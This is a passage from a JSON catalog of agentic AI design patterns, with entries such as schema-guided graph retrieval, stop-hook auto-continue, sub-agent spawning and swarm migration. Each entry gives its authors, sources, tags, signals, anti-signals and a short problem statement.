  },
  {
    "title": "Schema-Guided Graph Retrieval for Multi-Hop Reasoning",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Hanson Dong (Tencent Cloud ADP)",
      "Siyu An (Tencent Cloud ADP)"
    ],
    "category": "Context & Memory",
    "source": "https://github.com/TencentCloudADP/youtu-graphrag",
    "tags": [
      "graphrag",
      "schema-guided",
      "multi-hop-reasoning",
      "query-decomposition",
      "type-filtered-retrieval",
      "knowledge-graph",
      "schema-evolution",
      "community-detection"
    ],
    "slug": "schema-guided-graph-retrieval",
    "id": "schema-guided-graph-retrieval-for-multi-hop-reasoning",
    "summary": "Use one shared domain schema to align graph construction, schema evolution, query decomposition, and typed retrieval so multi-hop reasoning over private knowledge stays precise as domains change.",
    "signals": [
      "Multi-hop questions over private or domain-specific knowledge",
      "Flat chunk retrieval returns too much irrelevant context",
      "Domain ontology is stable enough to define types up front"
    ],
    "anti_signals": [
      "Simple vector search already gives enough precision",
      "No capacity for upfront schema design and ongoing governance"
    ],
    "updated_at": "2026-03-27",
    "excerpt": "\n## Problem\nComplex QA over private or domain-specific corpora often needs more structure than flat chunk retrieval, but naive GraphRAG systems still fail in predictable ways:\n\n- **Retrieval is too broad:** entity, relation, keyword, and summary nodes all compete during search, so evidence gets noisy.\n- **Question decomposition is disconnected from storage:** the planner breaks a query into sub-questions without knowing which entity types or relations actually exist in the graph.\n- **Domain transfer is expensive:** each new corpus needs hand-tuned ontology work or brittle prompt rewrites.\n- **Large graphs become hard to navigate:** even when the graph is correct, retrieval quality drops as the system lacks higher-level abstractions for routing.\n\nThe core issue is misalignment. Construction, retrieval, and reasoning each use different assumptions about the domain, so the graph accumulates structure that the retriever cannot reliably exploit."
  },
  {
    "title": "Seamless Background-to-Foreground Handoff",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Aman Sanger (Cursor)"
    ],
    "category": "UX & Collaboration",
    "source": "https://www.youtube.com/watch?v=BGgsoIgbT_Y",
    "tags": [
      "background-agent",
      "human-in-the-loop",
      "task-handoff",
      "interactive-refinement",
      "agent-collaboration",
      "developer-workflow"
    ],
    "slug": "seamless-background-to-foreground-handoff",
    "id": "seamless-background-to-foreground-handoff",
    "summary": "Lets a user take over a background agent's unfinished work in the foreground, with the agent's branch, PR, and summaries carried over as context",
    "signals": [
      "Background agents finish most of a task but not all of it",
      "Remaining work needs human judgment or finesse",
      "Agent output lands in durable artifacts such as branches or draft PRs"
    ],
    "anti_signals": [
      "Background agent output is usually fully correct",
      "No infrastructure to preserve context or show progress at the handoff"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nWhile background agents can handle long-running, complex tasks autonomously, they might not achieve 100% correctness or perfectly match the user's nuanced intent. If an agent completes 90% of a task in the background but the remaining 10% requires human finesse, a clunky handoff process can negate the benefits of automation."
  },
  {
    "title": "Self-Critique Evaluator Loop",
    "status": "established",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Meta AI (Self-Taught Evaluators)"
    ],
    "category": "Feedback Loops",
    "source": "https://arxiv.org/abs/2408.02666",
    "tags": [
      "self-critique",
      "evaluator",
      "reward-model",
      "synthetic-data",
      "reflexion",
      "rlaif"
    ],
    "slug": "self-critique-evaluator-loop",
    "id": "self-critique-evaluator-loop",
    "summary": "Trains a judge model on its own synthetic comparisons of candidate outputs and uses it as a reward model or quality gate for the main agent",
    "signals": [
      "Human-labeled preference data is too expensive or goes stale",
      "Evaluation must keep pace with model and domain changes",
      "A small human-labeled anchor set is available for checks"
    ],
    "anti_signals": [
      "No human anchor set or adversarial tests to detect evaluator collusion",
      "Judge criteria for the domain cannot be defined objectively"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nHuman-labeled preference datasets are expensive to produce, slow to refresh, and quickly stale as base models and domains change. Teams need scalable evaluation signals that can keep pace with model evolution without waiting on large annotation cycles. Risk of evaluator collapse and bias amplification must be mitigated."
  },
  {
    "title": "Self-Discover: LLM Self-Composed Reasoning Structures",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Google DeepMind",
      "USC"
    ],
    "category": "Feedback Loops",
    "source": "https://arxiv.org/abs/2402.03620",
    "tags": [
      "reasoning",
      "self-improvement",
      "meta-learning",
      "problem-solving",
      "task-specific",
      "optimization"
    ],
    "slug": "self-discover-reasoning-structures",
    "id": "self-discover-llm-self-composed-reasoning-structures",
    "summary": "Has the LLM select, adapt, and compose reasoning modules into a task-specific reasoning structure, then solve the task by following that structure",
    "signals": [
      "Complex reasoning tasks need different strategies per problem",
      "Performance gains justify extra LLM calls",
      "Interpretability of the reasoning approach is valuable"
    ],
    "anti_signals": [
      "Simple problems that single-pass Chain-of-Thought handles well",
      "Budget cannot cover about 2-3x the cost of Chain-of-Thought"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nDifferent reasoning tasks require different thinking strategies. While techniques like Chain-of-Thought (CoT) work well for some problems, they may be suboptimal for others. Current approaches typically use fixed reasoning patterns regardless of the specific problem at hand, leading to inefficient problem-solving and suboptimal performance on diverse tasks."
  },
  {
    "title": "Self-Identity Accumulation",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Claude Code Hooks System"
    ],
    "category": "Context & Memory",
    "source": "https://docs.anthropic.com/en/docs/claude-code/hooks",
    "tags": [
      "self-identity",
      "persona",
      "session-hooks",
      "familiarity",
      "cross-session",
      "profile",
      "soul-document",
      "agent-personality"
    ],
    "slug": "self-identity-accumulation",
    "id": "self-identity-accumulation",
    "summary": "Injects a persistent identity document at session start and updates it with new user insights at session end through lifecycle hooks",
    "signals": [
      "Users re-explain preferences and goals every session",
      "Agent works with the same user over many sessions",
      "Host supports session start and end hooks"
    ],
    "anti_signals": [
      "Agent must stay general rather than specialize to one user",
      "No lifecycle hook infrastructure",
      "Per-session token budget cannot hold the profile"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nAI agents lack continuous memory across sessions. Each conversation starts from zero, causing:\n\n- **Lost familiarity**: The agent doesn't remember user preferences, goals, or working patterns\n- **Repetitive explanations**: Users must re-explain context and preferences each session\n- **Shallow relationships**: Agent cannot build deeper understanding of user's needs over time\n- **Generic responses**: Without accumulated context, agents default to generic behaviors\n\nWhile episodic memory systems store past *experiences*, they don't address the need for an evolving *self-identity*—who the agent is in relation to the user."
  },
  {
    "title": "Self-Rewriting Meta-Prompt Loop",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Noah D. Goodman (Meta-Prompt)"
    ],
    "category": "Orchestration & Control",
    "source": "https://noahgoodman.substack.com/p/meta-prompt-a-simple-self-improving",
    "tags": [
      "meta-prompting",
      "self-improvement",
      "system-prompt",
      "reflection"
    ],
    "slug": "self-rewriting-meta-prompt-loop",
    "id": "self-rewriting-meta-prompt-loop",
    "summary": "Has the agent reflect after each episode, draft edits to its own system prompt, validate them through guardrails, and save the new version",
    "signals": [
      "Low-risk, high-volume, well-defined workflows such as formatting or style",
      "Static system prompts go stale as new edge cases appear",
      "Version control and rollback for prompts are in place"
    ],
    "anti_signals": [
      "Safety-critical or regulated domain without human approval gates",
      "No guardrails to stop drift, prompt bloat, or jailbreaks"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nStatic system prompts become stale or overly brittle as an agent encounters new tasks and edge-cases. Manually editing them is slow and error-prone."
  },
  {
    "title": "Semantic Context Filtering Pattern",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Hyperbrowser Team (@hyperbrowserai)"
    ],
    "category": "Context & Memory",
    "source": "https://github.com/hyperbrowserai/HyperAgent",
    "tags": [
      "context-filtering",
      "token-optimization",
      "semantic-extraction",
      "noise-reduction"
    ],
    "slug": "semantic-context-filtering",
    "id": "semantic-context-filtering-pattern",
    "summary": "Extracts only the semantic or interactive parts of raw data, such as accessibility trees or relevant fields, before sending it to the LLM",
    "signals": [
      "Raw HTML, API responses, or documents exceed context or cost budgets",
      "Boilerplate and noise confuse the model's reasoning",
      "Agent acts on elements that must map back to the original source"
    ],
    "anti_signals": [
      "Source data is already compact and relevant",
      "Hidden or dynamic content that filters can remove is essential to the task"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nRaw data sources are too verbose and noisy for effective LLM consumption. Full representations include invisible elements, implementation details, and irrelevant information that bloat context and confuse reasoning.\n\nResearch on boilerplate detection shows that **40-80% of web page content** is typically navigation, footers, ads, and other boilerplate that should be filtered before semantic processing (Kohlschütter et al., SIGIR 2010).\n\nThis creates several problems:\n\n- **Token explosion**: Raw data exceeds context limits or becomes prohibitively expensive\n- **Poor signal-to-noise**: LLM wastes reasoning capacity on irrelevant details\n- **Slower inference**: More tokens = slower generation and higher costs\n- **Confused reasoning**: Noise leads to hallucinations or wrong conclusions\n\nThe issue appears across domains:\n\n- **Web scraping**: Full HTML DOM includes scripts, styles, tracking iframes\n- **API responses**: JSON with nested metadata, internal fields, debug info\n- **Document processing**: Headers, footers, navigation, boilerplate text\n- **Code analysis**: Comments, whitespace, boilerplate code"
  },
  {
    "title": "Session-Scoped Context Runtime for Agent Tools",
    "status": "emerging",
    "authors": [
      "Yves Gugger (@yvgude)"
    ],
    "based_on": [
      "Anthropic Model Context Protocol Specification"
    ],
    "category": "Context & Memory",
    "source": "https://github.com/yvgude/lean-ctx",
    "tags": [
      "mcp",
      "context-compression",
      "session-cache",
      "agent-tools",
      "coding-assistants"
    ],
    "slug": "session-scoped-context-runtime-for-agent-tools",
    "id": "session-scoped-context-runtime-for-agent-tools",
    "summary": "Interpose a context runtime that caches structured reads and normalizes tool output so sessions reuse compact representations instead of repeating raw tokens.",
    "signals": [
      "Coding agents read the same files and command outputs many times per session",
      "Repeated raw tool output drives up cost and latency",
      "The host can route tools through an MCP server"
    ],
    "anti_signals": [
      "Short sessions with few repeated reads",
      "Agents cannot be pointed at the runtime consistently"
    ],
    "tools": [
      "mcp-server",
      "editor-integration"
    ],
    "domains": [
      "coding"
    ],
    "updated_at": "2026-04-29",
    "excerpt": "\n## Problem\nCoding agents read the same files and command outputs many times per session. Each hop typically pastes full text into the model context, so cost and latency grow with repetition and verbosity even when the underlying artifact has not changed."
  },
  {
    "title": "Shell Command Contextualization",
    "status": "established",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Boris Cherny (via Claude Code)"
    ],
    "category": "Tool Use & Environment",
    "source": "https://www.nibzard.com/claude-code",
    "tags": [
      "shell integration",
      "context management",
      "local execution",
      "bash",
      "cli",
      "interactive tools"
    ],
    "slug": "shell-command-contextualization",
    "id": "shell-command-contextualization",
    "summary": "Lets the user run a shell command with a prefix such as ! and injects the command and its full output into the agent's context",
    "signals": [
      "Agent works in a local development environment",
      "Users paste command output into prompts by hand",
      "Agent needs linter, git, or file listing output to reason"
    ],
    "anti_signals": [
      "Agent has no local shell access",
      "Commands produce large output that inflates token costs"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nWhen an AI agent interacts with a local development environment, it often needs to execute shell commands (e.g., run linters, check git status, list files) and then use the output of these commands as context for its subsequent reasoning or actions. Manually copying and pasting command output into the prompt is tedious and error-prone."
  },
  {
    "title": "Shipping as Research",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "AMP (Thorsten Ball, Quinn Slack)"
    ],
    "category": "Learning & Adaptation",
    "source": "https://www.youtube.com/watch?v=4rx36wc9ugw",
    "tags": [
      "research",
      "experimentation",
      "rapid-iteration",
      "learning",
      "dogfooding",
      "shipping",
      "uncertainty"
    ],
    "slug": "shipping-as-research",
    "id": "shipping-as-research",
    "summary": "Releases reversible, instrumented features to learn whether they work, then doubles down or removes them based on usage data and feedback",
    "signals": [
      "Product sits on a fast-changing frontier such as AI agents",
      "Users are early adopters who accept experimentation",
      "Features can be reversed through flags or gradual rollout"
    ],
    "anti_signals": [
      "Safety-critical or regulated applications",
      "Established market or enterprise users that need stability",
      "Features with high switching costs"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nIn the rapidly evolving AI landscape, waiting for certainty before building means you're always behind. Traditional product development emphasizes validation and certainty before release, but when the market changes every 3-6 weeks, you can't afford to wait.\n\n**Expert intuition is unreliable**: Research across major technology companies shows that 80-90% of product ideas fail to improve key metrics, even when experts are confident they will work (Kohavi et al., 2007). Real-world experimentation beats theoretical analysis."
  },
  {
    "title": "Signal-Driven Agent Activation",
    "status": "emerging",
    "authors": [
      "Nicolas Finet (@nifinet)"
    ],
    "category": "Orchestration & Control",
    "source": "https://jorypestorious.com/blog/ai-engineer-spec/",
    "tags": [
      "signals",
      "event-driven",
      "automation",
      "orchestration",
      "reactive"
    ],
    "slug": "signal-driven-agent-activation",
    "id": "signal-driven-agent-activation",
    "summary": "Watches external sources for structured signals and starts predefined agent workflows when declarative rules with thresholds and cooldowns match",
    "signals": [
      "The right time to act depends on external events such as failed deploys or new CVEs",
      "Signal volume is too high for human triage",
      "Structured signal sources and clear activation thresholds exist"
    ],
    "anti_signals": [
      "Signals are noisy with many false positives",
      "No cooldowns, rate limits, or kill switch to stop runaway activation"
    ],
    "updated_at": "2026-07-23",
    "excerpt": "\n## Problem\nMost agent workflows are **command-driven**: a user types a prompt, the agent acts. This creates a bottleneck — the agent only works when someone tells it to.\n\nIn domains like sales, security, DevOps, and finance, the right moment to act is determined by **external signals** (a prospect visits a pricing page, a CVE drops, a deployment fails, a stock hits a threshold). By the time a human notices and prompts the agent, the window has often closed.\n\nPolling dashboards or relying on human triage doesn't scale. The agent needs a mechanism to **watch for signals and self-activate** when conditions are met."
  },
  {
    "title": "Skill Activation as a Precision/Recall Measurement",
    "status": "emerging",
    "authors": [
      "Tomasz Religa (@uipreliga)"
    ],
    "based_on": [
      "Coder Eval (UiPath)"
    ],
    "category": "Reliability & Eval",
    "source": "https://github.com/UiPath/coder_eval",
    "tags": [
      "evals",
      "skills",
      "routing",
      "precision-recall",
      "classification",
      "ci-cd",
      "regression-testing"
    ],
    "slug": "skill-activation-as-precision-recall",
    "id": "skill-activation-as-a-precisionrecall-measurement",
    "summary": "Measures skill routing as classification with a labelled prompt dataset, per-skill precision and recall, and CI thresholds that fail the build",
    "complexity": "medium",
    "effort": "days",
    "impact": "high",
    "signals": [
      "A catalog has more than a handful of skills, or more than one could plausibly answer a prompt",
      "Skill descriptions are edited, merged, or added without a behavioural test"
    ],
    "anti_signals": [
      "A single skill with no siblings to compete with",
      "The agent's skill is invoked explicitly by name rather than selected by the model"
    ],
    "domains": [
      "coding",
      "ops"
    ],
    "updated_at": "2026-09-26",
    "excerpt": "\n## Problem\nA skill is usually tested as if it were a function: run it, check the output. But before a skill runs, the model must *choose* it. It reads your skill's description alongside every other skill's description and picks one. That choice is a routing decision, and it is what actually fails in production.\n\nIt fails in two directions, and both are silent:\n\n- **Under-triggering (a recall problem).** The skill never loads. Users experience this as \"your feature does not work,\" and blame the feature.\n- **Over-triggering (a precision problem).** The skill loads on prompts it does not own. It hijacks a conversation, injects its playbook into an unrelated context, burns tokens on reference files nobody needed, and produces confidently wrong output because the agent is now steering toward the wrong goal.\n\nThe two are not symmetric in *detectability*. Under-triggering gets reported by users; over-triggering gets absorbed, because the output still looks like an answer. So the more damaging failure is the one you are less likely to hear about.\n\nWorse, the decision is **coupled across the whole catalog**. Adding a skill, editing one sentence of a description, or merging two skills re-routes prompts that belong to skills you did not touch. Hand-testing five prompts once and shipping cannot see this, and nothing in a typical CI pipeline does either — descriptions are prose, so no linter, typechecker, or unit test has an opinion about them."
  },
  {
    "title": "Skill Library Evolution",
    "status": "established",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Anthropic Engineering Team",
      "Will Larson (Imprint)",
      "Amp (Nicolay)"
    ],
    "category": "Learning & Adaptation",
    "source": "https://www.anthropic.com/engineering/code-execution-with-mcp",
    "tags": [
      "code-reuse",
      "skills",
      "learning",
      "capabilities",
      "evolution",
      "progressive-disclosure",
      "on-demand-loading",
      "mcp",
      "lazy-loading"
    ],
    "slug": "skill-library-evolution",
    "id": "skill-library-evolution",
    "summary": "Saves working agent code as reusable skills in a skills directory, documents and tests them over time, and loads skill details only on demand",
    "signals": [
      "Agents solve similar problems across sessions",
      "Agents rewrite the same code and waste tokens",
      "Many skills or MCP tools would bloat context if loaded up front"
    ],
    "anti_signals": [
      "One-off tasks with no repeated problems",
      "No capacity to test, review, and deprecate saved skills"
    ],
    "updated_at": "2026-01-13",
    "excerpt": "\n## Problem\nAgents frequently solve similar problems across different sessions or workflows. Without a mechanism to preserve and reuse working code, agents must rediscover solutions each time, wasting tokens and time. Organizations want agents to build up capability over time rather than starting from scratch every session."
  },
  {
    "title": "Soulbound Identity Verification",
    "status": "emerging",
    "authors": [
      "Eiji Motomura (@EijiAC24)"
    ],
    "based_on": [
      "ERC-5192 Soulbound Tokens",
      "Chitin (example implementation)"
    ],
    "category": "Security & Safety",
    "source": "https://eips.ethereum.org/EIPS/eip-5192",
    "tags": [
      "identity",
      "verification",
      "trust",
      "soulbound-token",
      "blockchain",
      "agent-identity"
    ],
    "slug": "soulbound-identity-verification",
    "id": "soulbound-identity-verification",
    "summary": "Binds agent identity to a non-transferable credential with a committed state hash and logs signed state changes so verifiers can check continuity",
    "signals": [
      "Delegating work to another agent across networks or organizations",
      "Agent marketplaces need to detect impersonation",
      "Compliance requires auditable agent-state continuity"
    ],
    "anti_signals": [
      "No external registry or append-only log infrastructure",
      "Semantic correctness of agent behavior matters more than state integrity"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nAs autonomous agents interact across networks, verifying identity and detecting prompt/operator drift becomes difficult. Without durable identity and an immutable change history, agents can impersonate others or silently diverge from authorized configurations."
  },
  {
    "title": "Spec-As-Test Feedback Loop",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Jory Pestorious"
    ],
    "category": "Feedback Loops",
    "source": "http://jorypestorious.com/blog/ai-engineer-spec/",
    "tags": [
      "validation",
      "drift-detection",
      "continuous-testing"
    ],
    "slug": "spec-as-test-feedback-loop",
    "id": "spec-as-test-feedback-loop",
    "summary": "Generates executable tests from the spec on every spec or code commit and opens agent PRs that fix code or flag unclear spec parts",
    "signals": [
      "Project has a formal spec that code must follow",
      "Spec and code change often and drift apart",
      "CI can run generated tests on each commit"
    ],
    "anti_signals": [
      "Small or one-off tasks with no written spec",
      "Spec wording is too ambiguous to turn into tests",
      "CI capacity is limited"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nEven in spec-first projects, implementations can drift as code evolves and the spec changes (or vice-versa). Silent divergence erodes trust."
  },
  {
    "title": "Specification-Driven Agent Development",
    "status": "proposed",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Jory Pestorious (AI Engineer World's Fair 2025)"
    ],
    "category": "Orchestration & Control",
    "source": "http://jorypestorious.com/blog/ai-engineer-spec/",
    "tags": [
      "spec-first",
      "scaffolding",
      "contract",
      "requirements"
    ],
    "slug": "specification-driven-agent-development",
    "id": "specification-driven-agent-development",
    "summary": "Makes a version-controlled spec file the agent's main input, scaffolds code from it, and links each artifact back to a spec clause",
    "signals": [
      "Loose prompts cause agents to drift from stakeholder intent",
      "Requirements can be written as Markdown, OpenAPI, or JSON Schema",
      "Team needs audit trails from code back to requirements"
    ],
    "anti_signals": [
      "Requirements are too coarse or unknown to specify",
      "Quick exploratory work where writing a spec costs more than it saves"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nHand-crafted prompts or loose user stories leave room for ambiguity; agents can wander, over-interpret, or produce code that conflicts with stakeholder intent."
  },
  {
    "title": "Spectrum of Control / Blended Initiative",
    "status": "validated-in-production",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Aman Sanger (Cursor)"
    ],
    "category": "UX & Collaboration",
    "source": "https://www.youtube.com/watch?v=BGgsoIgbT_Y",
    "tags": [
      "human-agent-collaboration",
      "autonomy-spectrum",
      "interactive-control",
      "task-delegation",
      "code-editing",
      "ide-integration"
    ],
    "slug": "spectrum-of-control-blended-initiative",
    "id": "spectrum-of-control-blended-initiative",
    "summary": "Gives users several autonomy modes, from inline completion to background agents, and lets them switch modes per task",
    "signals": [
      "Tasks range from small edits to multi-file features",
      "Users need to move between direct control and delegation",
      "Coding tool or IDE with room for several interaction paths"
    ],
    "anti_signals": [
      "Single task type that needs only one autonomy level",
      "Team cannot build and maintain several interaction modes"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nAI agents for tasks like coding can offer various levels of assistance, from simple completions to complex, multi-step operations. A one-size-fits-all approach to agent autonomy doesn't cater to the diverse needs of users or the varying complexity of tasks. Users need to fluidly shift between direct control and delegating tasks to the agent."
  },
  {
    "title": "Static Service Manifest for Agents",
    "status": "emerging",
    "authors": [
      "Clawdia (@OzorOwn)"
    ],
    "based_on": [
      "llms.txt community specification",
      "OpenAI ChatGPT Plugin manifest (ai-plugin.json)"
    ],
    "category": "Tool Use & Environment",
    "source": "https://llmstxt.org",
    "tags": [
      "service-discovery",
      "agent-infrastructure",
      "llms-txt",
      "machine-readable",
      "api-design",
      "well-known",
      "tool-discovery"
    ],
    "slug": "static-service-manifest-for-agents",
    "id": "static-service-manifest-for-agents",
    "summary": "Serves a static llms.txt or agent.json file at a well-known URL that lists services, auth, and limits so agents can plan before they call",
    "signals": [
      "API platform exposes many services behind one base URL",
      "Agents must discover capabilities before planning",
      "Different API keys unlock different service subsets"
    ],
    "anti_signals": [
      "Single endpoint with no discovery need",
      "API changes too often to keep a static manifest in sync",
      "Agents need full per-endpoint schemas, not a summary"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nBefore an agent can use an API, it needs to know what the API offers. Today, agents typically learn about available services through hardcoded tool lists in their system prompt, runtime exploration of tool catalogs, or human-written documentation that must be parsed and interpreted. None of these scale well when agents need to interact with unfamiliar platforms that expose many services. The agent either wastes context window on a full catalog it may not need, or has no way to learn about the platform at all without human intervention."
  },
  {
    "title": "Stop Hook Auto-Continue Pattern",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Boris Cherny (Anthropic)",
      "Reflexion (Shinn et al., NeurIPS 2023)",
      "Self-Refine (Madaan et al., ICLR 2023)"
    ],
    "category": "Orchestration & Control",
    "source": "https://every.to/podcast/transcript-how-to-use-claude-code-like-the-people-who-built-it",
    "tags": [
      "hooks",
      "automation",
      "testing",
      "determinism",
      "success-criteria",
      "continuous-execution"
    ],
    "slug": "stop-hook-auto-continue-pattern",
    "id": "stop-hook-auto-continue-pattern",
    "summary": "Runs a stop hook after each agent turn that checks success criteria and makes the agent continue until tests or checks pass",
    "signals": [
      "Agent stops before tests, builds, or linters pass",
      "Success criteria can be checked by a script",
      "Agent runs in a sandbox or container"
    ],
    "anti_signals": [
      "No reliable automated success check exists",
      "Criteria may be impossible to meet, which causes endless loops",
      "No timeout or token budget can be set"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nAgents complete their turn and return control to the user even when the task isn't truly done. Common scenarios:\n\n- Code compiles but tests fail\n- Changes made but quality checks haven't passed\n- Feature implemented but integration tests broken\n- Migrations run but verification steps not completed\n\nWithout intervention, the user must manually check and re-prompt the agent, creating friction."
  },
  {
    "title": "Structured Output Specification",
    "status": "established",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Vercel AI Team"
    ],
    "category": "Reliability & Eval",
    "source": "https://vercel.com/blog/what-we-learned-building-agents-at-vercel",
    "tags": [
      "structured-output",
      "schema",
      "validation",
      "reliability",
      "type-safety",
      "integration"
    ],
    "slug": "structured-output-specification",
    "id": "structured-output-specification",
    "summary": "Constrain agent outputs using deterministic schemas that enforce structured, machine-readable results, enabling reliable validation, parsing, and integration with downstream systems.",
    "signals": [
      "Agent output feeds databases, APIs, or other agents",
      "Classification or data extraction tasks",
      "Framework supports schema-constrained output"
    ],
    "anti_signals": [
      "Task needs open-ended free-form text",
      "Output shape changes too often to keep a schema"
    ],
    "updated_at": "2026-01-05",
    "excerpt": "\n## Problem\nFree-form agent outputs are difficult to validate, parse, and integrate with downstream systems. When agents return unstructured text, you face:\n\n- Unpredictable output formats requiring complex parsing\n- Difficult validation and error handling\n- Brittle integration with automated workflows\n- Inconsistent categorization and classification\n- Manual post-processing to extract structured data\n\nThis makes it nearly impossible to build reliable multi-step workflows where one agent's output feeds into another system or agent."
  },
  {
    "title": "Sub-Agent Spawning",
    "status": "validated-in-production",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Quinn Slack",
      "Thorsten Ball",
      "Will Larson (lethain.com)"
    ],
    "category": "Orchestration & Control",
    "source": "https://www.nibzard.com/ampcode",
    "tags": [
      "orchestration",
      "context",
      "scalability",
      "subagents",
      "yaml-configuration",
      "virtual-files",
      "subject-hygiene",
      "parallel-delegation"
    ],
    "slug": "sub-agent-spawning",
    "id": "sub-agent-spawning",
    "summary": "Lets the main agent spawn sub-agents with fresh context and scoped tools to work on subtasks in parallel, then merges their results",
    "signals": [
      "Large multi-file task overflows the main agent's context",
      "Subtasks are independent and can run in parallel",
      "Some work needs isolated tools or files for safety"
    ],
    "anti_signals": [
      "Small task that fits in one context window",
      "Subtasks depend on each other and need tight coordination",
      "Token budget cannot cover several agents at once"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nLarge multi-file tasks blow out the main agent's context window and reasoning budget. You need a way to delegate work to specialized agents with isolated contexts and tools."
  },
  {
    "title": "Subagent Compilation Checker",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Anonymous Speaker (Open Source Agent RL Talk)",
      "Will Brown (Prime Intellect Talk)"
    ],
    "category": "Reliability & Eval",
    "source": "https://www.youtube.com/watch?v=Xkwok_XXQgw",
    "tags": [
      "subagent",
      "compilation",
      "modularity",
      "error-isolation"
    ],
    "slug": "subagent-compilation-checker",
    "id": "subagent-compilation-checker",
    "summary": "Spawns one subagent per module to build and check it, and returns only a short structured error list or artifact reference to the main agent",
    "signals": [
      "Codebase has several independently buildable modules",
      "Build logs are too large for the main agent's context",
      "Need to find which module caused a build failure"
    ],
    "anti_signals": [
      "Single small module with short build output",
      "Modules depend tightly on each other's build order",
      "No infrastructure to run separate build environments"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nLarge coding tasks often involve multiple independent components (e.g., microservices, libraries). Having the **main agent** handle compilation and error checking for every component in-context:\n\n- **Blows Up Context Length:** Including entire build logs or bytecode in the prompt is impractical.\n- **Slows Down Inference:** Sending full build commands and parsing verbose output in-context uses excessive tokens.\n\nAdditionally, when the agent's single \"compile-and-run\" step fails, it's hard to pinpoint which submodule caused the error without a more granular approach."
  },
  {
    "title": "Subject Hygiene for Task Delegation",
    "status": "validated-in-production",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Analysis of 88 Claude conversation sessions (48 Task invocations analyzed)"
    ],
    "category": "Orchestration & Control",
    "source": "https://github.com/nibzard/SKILLS-AGENTIC-LESSONS",
    "tags": [
      "subagents",
      "delegation",
      "traceability",
      "naming",
      "clarity",
      "anti-pattern"
    ],
    "slug": "subject-hygiene",
    "id": "subject-hygiene-for-task-delegation",
    "summary": "Requires a specific action-plus-target subject on every subagent task so each delegated job stays traceable and easy to reference",
    "signals": [
      "Main agent delegates work to subagents via a Task tool",
      "Several subagents run in parallel",
      "Users or the main agent must review subagent output later"
    ],
    "anti_signals": [
      "No subagent delegation in the workflow",
      "Single short delegation that nobody will reference again"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nWhen delegating work to subagents via the Task tool, empty or generic task subjects make conversations:\n\n- **Untraceable**: Cannot identify what a subagent was working on\n- **Unreferencable**: Cannot discuss specific subagent work later\n- **Confusing**: Multiple subagents with empty subjects are indistinguishable\n\nFrom 48 Task invocations across 88 sessions, empty task subjects were identified as a major pain point. This pattern has strong academic foundations in multi-agent communication standards (FIPA ACL, KQML) and distributed systems naming principles (REST, MapReduce)."
  },
  {
    "title": "Swarm Migration Pattern",
    "status": "validated-in-production",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Boris Cherny (Anthropic)",
      "Anthropic Internal Users"
    ],
    "category": "Orchestration & Control",
    "source": "https://every.to/podcast/transcript-how-to-use-claude-code-like-the-people-who-built-it",
    "tags": [
      "swarm",
      "map-reduce",
      "migration",
      "parallelization",
      "sub-agents",
      "scalability",
      "framework-migration"
    ],
    "slug": "swarm-migration-pattern",
    "id": "swarm-migration-pattern",
    "summary": "Main agent orchestrates 10+ parallel subagents working simultaneously on independent migration chunks, achieving 10x+ speedup for large-scale framework upgrades, lint rule rollouts, and API migrations.",
    "signals": [
      "Migration touches many files that can change independently",
      "Good test coverage can verify each chunk",
      "Clear, unambiguous migration rules exist"
    ],
    "anti_signals": [
      "Fewer than about 10 files to migrate",
      "Files are tightly coupled and need coordinated changes",
      "Budget cannot cover many parallel agents"
    ],
    "updated_at": "2026-01-05",
    "excerpt": "\n## Problem\nLarge-scale code migrations are time-consuming when done sequentially:\n\n- **Framework upgrades** (e.g., testing library A → testing library B)\n- **Lint rule rollouts** across hundreds of files\n- **API migrations** when dependencies change\n- **Code modernization** (e.g., class components → hooks)\n- **Refactoring patterns** across the codebase\n\nHumans doing these manually is tedious; single agents doing them sequentially is slow."
  },
  {
